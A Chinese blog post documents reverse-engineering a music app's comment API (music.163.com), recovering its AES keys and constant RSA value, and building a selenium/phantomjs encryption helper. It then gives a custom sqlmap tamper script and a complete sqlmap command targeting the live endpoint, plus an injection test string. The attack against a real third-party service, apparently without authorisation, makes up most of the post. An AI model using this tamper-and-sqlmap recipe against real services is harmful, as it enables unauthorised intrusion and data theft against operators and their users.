某音乐类App评论相关API的分析及SQL注入尝试
关键字:APIfen、工具使用、sql注入
涉及工具/包:Fiddler、Burpsuite、Js2Py、Closure Compiler、selenium、phantomjs、sqlmap
摘要:
记录分析某音乐类App评论相关API的过程,以及一些工具/包的基本使用(部分工具对最后尝试没有影响,但在其它场景或许有用),最后结合sqlmap进行注入尝试。本文对于sql注入没有深入展开(水平不够…)。
想法来源:本想写个程序获取零评论的歌曲,去占沙发…分析发现获取评论的POST请求参数有点复杂…既然花时间研究了,顺便进行一下sql注入的尝试。
目录:
一、获取相关代码
1、获取评论的HTTP请求
2、寻找主要JS文件
3、Fiddler:将JS文件替换成本地JS文件 便于调试
4、Fiddler + Burpsuite
5、具体发送请求的JS代码 / 构造参数的代码
二、分析代码:
1、windows.asrsea()函数
2、JSON.stringify(j7c)
3、最关键的加密函数b()
三、用Python完成JS加密函数的功能
1、Js2Py包:直接将JS转换成Python(失败尝试)
2、Closure Compiler:JS简化压缩(失败尝试)
3、selenium + phantomjs
四、sqlmap使用自定义tamper
1、编写tamper
2、sqlmap尝试
五、总结
正文
一、获取相关代码
1、获取评论的HTTP请求
评论的分页功能一般会用到的参数:第几页、获取几条 等等。
但此处POST请求参数并不简单,直接加密成了一长串字符串。
params:qiilau38siKpZWyjPLd0mz5vmvwuJOPsH4r8CItto4llNtwkngH9RZHNIU05KkQS6cT070G78km+lAAUwZtzmxy4HAKeIxLdIGAt1JEfnIzG3S4N+d+D43aj0Bn82ft3TDhuc+KO0LoRQDmNah1mVNfBa+53wCp17otUTJL5cM3A2OVnG7Zj/F5pLOgwrWuP
encSecKey:b24e6b596cf6c50c314f480c3d1e34467e1597507d66a5cf9e338cfc5b059a25b82e0a80b78d30893b6605639f42e0842a68032ebc395168c91ddce14c9c9ff5b6fc60b38d479b19cf9b6f8c54c7be27aeebf6c0fc4a32dccb06f5e835f22581045288dec40d9c882e0a6b127958a546b35aacc0500324888d5bb75eec264430
2、寻找主要JS文件
这里的JS文件都是被混淆过的,但如果最后要构造/发送参数,参数名是不能被混淆的。因此,利用参数名encSecKey在JS内容中进行搜索,发现core.js中出现了3次,初步猜测相关的代码都在这里。
3、Fiddler:将JS文件替换成本地JS文件 便于调试
4、Fiddler + Burpsuite对Fiddler 还不熟悉,在这里仅利用fiddler的替换功能,其它查看分析都在Burp中完成。
Fiddler 好像没有Burp的截断暂停/方形功能?
Burpsuite好像没有Fiddler 那么方便的替换文件功能?
只需要将Fiddler设置代理 将流量导向Burp的8080即可。
选择 Tools-Options 打开设置
5、具体发送请求的JS代码 / 构造参数的代码
搜索参数名encSecKey
var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
e7d.data = k7d.de9V({params: bLN7G.encText, encSecKey: bLN7G.encSecKey})
console.log(bLN7G.encText); //添加代码
console.log(bLN7G.encSecKey) //添加代码
进行调试 发现:
bLN7G对象、相关的 window.asrsea()成为关键
bLN7G.encText
对应params
bLN7G.encSecKey
对应encSecKey
浏览器工具输出内容与Burp内容不完全一样,因为burp内容经过了URL编码
二、分析代码:
1、windows.asrsea() 函数
function a(a) {
var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e);
return c
}
function b(a, b) {
var c = CryptoJS.enc.Utf8.parse(b), d = CryptoJS.enc.Utf8.parse("0102030405060708"),
e = CryptoJS.enc.Utf8.parse(a), f = CryptoJS.AES.encrypt(e, c, {iv: d, mode: CryptoJS.mode.CBC});
return f.toString()
}
function c(a, b, c) {
var d, e;
return setMaxDigits(131), d = new RSAKeyPair(b, "", c), e = encryptedString(d, a)
}
function d(d, e, f, g) {
var h = {}, i = a(16);
return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h
}
window.asrsea = d;
var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
函数a()
:
返回一个固定长度的随机字符串,后续的a(16)可以直接取16个a,”aaaaaaaaaaaaaaaa”。
函数window.asrsea()
即 函数d()
其中的c()
函数传入的3个参数都是常数,猜测h.encSecKey
就是一个常数,用抓到的请求包中的参数值直接代替,发现页面成功响应说明猜测正确。
i = a(16); //常数 "aaaaaaaaaaaaaaaa"
//e=bdH6B(["流泪", "强"]) 猜测为常数
console.log(bdH6B(["流泪", "强"]); //确认为常数 010001
//f=bdH6B(Rq1x.md) 猜测为常数
console.log(Rq1x.md); //确认为常数 "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7"
h.encSecKey = c(i, e, f) //可替换成常数: "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee"
根据分析,对代码进行整理:
function b(parm1, parm2) {
var f = CryptoJS.AES.encrypt(
CryptoJS.enc.Utf8.parse(parm1),
CryptoJS.enc.Utf8.parse(parm2),
{
iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
mode: CryptoJS.mode.CBC
}
);
return f.toString()
}
window.asrsea = function (parm1, parm2, parm3, parm4) {
var h = {};
h.encText = b(b(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
h.encSecKey = "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee";
return h;
};
var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
到目前为止,window.asrsea()
的有效参数只剩下第一个JSON.stringify(j7c)
2、JSON.stringify(j7c)
console.log(JSON.stringify(j7c))
和评论API相关的 就是
{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"20","csrf_token":""}
在代码中直接修改 offset
:
window.asrsea = function (parm1, parm2, parm3, parm4) {
var h = {};
if(parm1 == '{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"20","csrf_token":""}'){
parm1 = '{"rid":"R_SO_4_28285910","offset":"1","total":"true","limit":"20","csrf_token":""}'
}
h.encText = b(b(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
h.encSecKey = "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee";
return h;
};
发现页面获取的评论 出现偏移(首页热门评论消失,时间排序从第2条开始获取)。
到这里就和平时进行sql注入的情形很像了。
3、最关键的加密函数b()
function b(parm1, parm2) {
var f = CryptoJS.AES.encrypt(
CryptoJS.enc.Utf8.parse(parm1),
CryptoJS.enc.Utf8.parse(parm2),
{
iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
mode: CryptoJS.mode.CBC
}
);
return f.toString()
}
发现CryptoJS
对象的内容绕来绕去…代码量太多(这里就不贴出来了,太占篇幅)
想要寻找简单点的办法
三、用Python完成JS加密函数的功能
1、Js2Py包:直接将JS转换成Python(失败尝试)基本使用:
import js2py
js2py.translate_file('input.js', 'output.py') #将input.js的代码转换成output.py
from output import output
output.fun() # 等同于 调用js中的函数 fun()
注意:Js2Py无法识别JS用法:
可修改为
```var fun_a = function(){}; fun_a();
使用发生错误,还有很多JS的用法Js2Py不能识别。
想先将JS进行简化,再进行转换尝试。
2、Closure Compiler:JS简化压缩(失败尝试)
java -jar compiler.jar --compilation_level ADVANCED_OPTIMIZATIONS --js old.js > new.js
--compilation_level ADVANCED_OPTIMIZATIONS
智能模式如下 JS代码:
function a(){
console.log('1');
}
a();
压缩后:自动删除所有无用的代码
console.log('1');
注意:Compiler无法识别JS非严格模式的用法
解决办法:
1、arguments.callee
被弃用:给函数增加一个函数名
2、delete parm
修改为parm = null
简化压缩后,再次尝试Js2Py的转换,依然失败…
被混淆的JS代码,暂时没能力去修改到复核Js2Py的格式。
只能换个思路:Python调用浏览器,让浏览器去执行JS
PyV8,没安装成功…
3、selenium + phantomjs
selenium 结合 浏览器(比如Firefox需要下载 geckodriver)
selenium 结合 phantomjs(类似:不显示内容的浏览器) 速度更快
第一步、下载phantomjs、geckodriver并将路径添加到系统的PATH环境变量
第二步、本地服务器创建php文件,利用原有的JS进行加密然后输出:
<html>
<div id="output"></div>
</html>
<script>
//...CryptoJS相关的代码...大约400行...
function my_encode(parm1, parm2) {
var f = CryptoJS.AES.encrypt(
CryptoJS.enc.Utf8.parse(parm1),
CryptoJS.enc.Utf8.parse(parm2),
{
iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
mode: CryptoJS.mode.CBC
}
);
return f.toString()
}
//将收到的内容 赋值给JS变量
parm1 = '<?php echo $_GET['payload']; ?>';
result = my_encode(my_encode(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
document.getElementById("output").innerHTML = encodeURIComponent(result);
</script>
第三步、selenium结合phantomjs:
from selenium import webdriver
# browser = webdriver.Firefox() # 调用Firefox
browser = webdriver.PhantomJS()
# payload是windows.asrsea()进行加密的第一个参数,
payload = "{\"rid\":\"R_SO_4_28285910\",\"offset\":\"0\",\"total\":\"true\",\"limit\":\"1 AND 9893=7923\",\"csrf_token\":\"\"}"
browser.get('http://127.0.0.1/wyy.php?payload='+payload)
output = browser.find_element_by_id("output")
//获取编码后的 params 参数值
print output.text
browser.quit()
四、sqlmap使用自定义tamper
1、编写tamper
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
from selenium import webdriver
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
browser = webdriver.PhantomJS()
# 对offset参数进行测试
payload = '{"rid":"R_SO_4_28285910","offset":"'+payload+'","total":"true","limit":"20","csrf_token":""}'
# 对limit参数进行测试
# payload = '{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"'+payload+'","csrf_token":""}'
browser.get('http://127.0.0.1/wyy.php?payload='+payload)
output = browser.find_element_by_id("output")
browser.quit()
return output.text
2、sqlmap尝试
python sqlmap.py -vvvvvvv -u "music.163.com/weapi/v1/resource/comments/R_SO_4_28285910?csrf_token=" --data="params=...*&encSecKey=..." --param-del="&" --cookie="..." --user-agent="Mozilla/5.0" --method=POST -p "params" --tamper="my_test"
五、总结:
使用selenium效率肯定没有直接Python直接加密好,但对于混淆过的JS代码,可以省去很大的分析精力…对于类似存在加密的场景,也可以快速进行尝试。
对于应用开发来说,即使在前端对参数值进行加密,后端在使用中依然需要进行过滤。
参考:
1、https://www.zhihu.com/question/36081767
2、https://developers.google.com/closure/compiler/docs/gettingstarted_app
3、https://github.com/PiotrDabkowski/Js2Py
4、https://pypi.python.org/pypi/selenium/3.8.0
5、https://github.com/mozilla/geckodriver
6、http://phantomjs.org/
某音乐类App评论相关API的分析及SQL注入尝试的更多相关文章
- “乐”动人心--2017年10款最佳音乐类APP设计盘点
在上下班的路上,听几首自己喜欢的音乐来打发无聊的等公交车和地铁的时间是现代年轻人的常态.音乐作为最能鼓动人心的"语言",也成为了人们在互联网生活里占比例最高的消费活动之一,一款好看 ...
- webgote的例子 数据库与sql注入的相关联系(1)
大家好我是时光凉春衫薄 之前将讲的sql注入有点随便了我同事也觉得有些地方看不懂,往后的几天我尽量写的细一点.尽可能让大家能看懂.(新手出道大佬多多指教.欢迎评论批评.) 数据库与sql注入的相关联系 ...
- QQ音乐的各种相关API
QQ音乐的各种相关API 分类: oc2014-01-29 15:34 2676人阅读 评论(2) 收藏 举报 基本上论坛里做在线音乐的都在用百度的API,进来发现百度的API不仅歌曲的质量不可以保证 ...
- Android音乐、视频类APP常用控件:DraggablePanel(1)
Android音乐.视频类APP常用控件:DraggablePanel(1) Android的音乐视频类APP开发中,常涉及到用户拖曳视频.音乐播放器产生一定交互响应的设计需求,最典型的以You ...
- 音乐类产品——“网易云音乐”app交互原型模板(免费使用)
网易云音乐虽是一款音乐app,但有人说它也是社交界的一股清流以及一匹黑马.音乐带给人的感染,激发着很多人在这里表达着他们的情绪和心声.网易云音乐上的真实用户点评,不仅被印在地铁的广告牌上,还在朋友圈频 ...
- python 以单例模式封装logging相关api实现日志打印类
python 以单例模式封装logging相关api实现日志打印类 by:授客QQ:1033553122 测试环境: Python版本:Python 2.7 实现功能: 支持自由配置,如下lo ...
- Android第三方开源SeekBarCompat:音乐类播放器等APP进度条常用
Android第三方开源SeekBarCompat:音乐类播放器等APP进度条常用 Android平台原生的SeekBar设计简单,然而,比如现在流行的一些音乐播放器的播放进度控制条,如果直接使 ...
- Android音乐、视频类APP常用控件:DraggablePanel(2)
Android音乐.视频类APP常用控件:DraggablePanel(2) 附录文章1主要演示了如何使用DraggablePanel 的DraggableView.DraggablePanel ...
- Java基础篇(02):特殊的String类,和相关扩展API
本文源码:GitHub·点这里 || GitEE·点这里 一.String类简介 1.基础简介 字符串是一个特殊的数据类型,属于引用类型.String类在Java中使用关键字final修饰,所以这个类 ...
随机推荐
- Sentinel系统监控Redis主从节点
author:JevonWei 版权声明:原创作品 blog:http://119.23.52.191/ --- 构建Sentinel监控Redis的主节点架构 拓扑结构结构 拓扑环境 master ...
- Java实现简单的socket通信
今天学习了一下java如何实现socket通信,感觉难点反而是在io上,因为java对socket封装已经很完善了. 今天代码花了整个晚上调试,主要原因是io的flush问题和命令行下如何运行具有pa ...
- react history模式下的白屏问题
近期,再用react的时候,由于不想用丑陋的hash,便将路由模式切换成history了,结果带来了一些问题,比如刷新白屏,还有图片加载不出来,这里我们说一下解决方案. 原因 首先,我们说一下造成这一 ...
- bootstrap之常见组件应用1
bootstrap中,常见的组件有很多,比如按钮,输入框,导航条,巨幕,面板等.这次根据对bootstrap的一系列学习进行总结. 按钮:button <button type="bu ...
- cxGrid让指定的某行自动呈选选中的状态
cxView.ViewData.Rows[cxView.DataController.DataSource.DataSet.RecNo-1].Selected := True;//将当前的行呈选中的状 ...
- 子Repeater获取父级Repeater绑定项的值
原文发布时间为:2010-12-27 -- 来源于本人的百度文章 [由搬家工具导入] 1.子级Repeater中绑定父级的某个字段: <%# DataBinder.Eval((Container ...
- 改变querystring值,然后重定向
原文发布时间为:2009-11-13 -- 来源于本人的百度文章 [由搬家工具导入] 本页面改变querystring值,然后重定向 本页面,避免出现重复querystring。。 如避免出现 www ...
- 19年的桌面KDE的风雨和陪伴,没有什么能够割舍
概述 KDE是史上功能最强大的桌面环境之一:开源且可自由使用.19年前,1996年10月14日,德国程序员 Matthias Ettrich 开始了这个美观的桌面环境的开发.KDE 提供了用户界面以及 ...
- 在 IntelliJ IDEA 中配置 JSF 开发环境的入门详解
JSF 作为 JavaEE 官方标准,在了解并掌握其基本开发技术后,对于功能要求较高.业务流程复杂的各种现代 Web 应用程序开发将会成为非常合适且强大的高效率开发利器.JSF 的开发环境搭建涉及到在 ...
- 【原创】Javascript-获取URL请求参数
function getUrlParam() { var param = [], hash; var url = window.location.href;//获取网页的url var hashes ...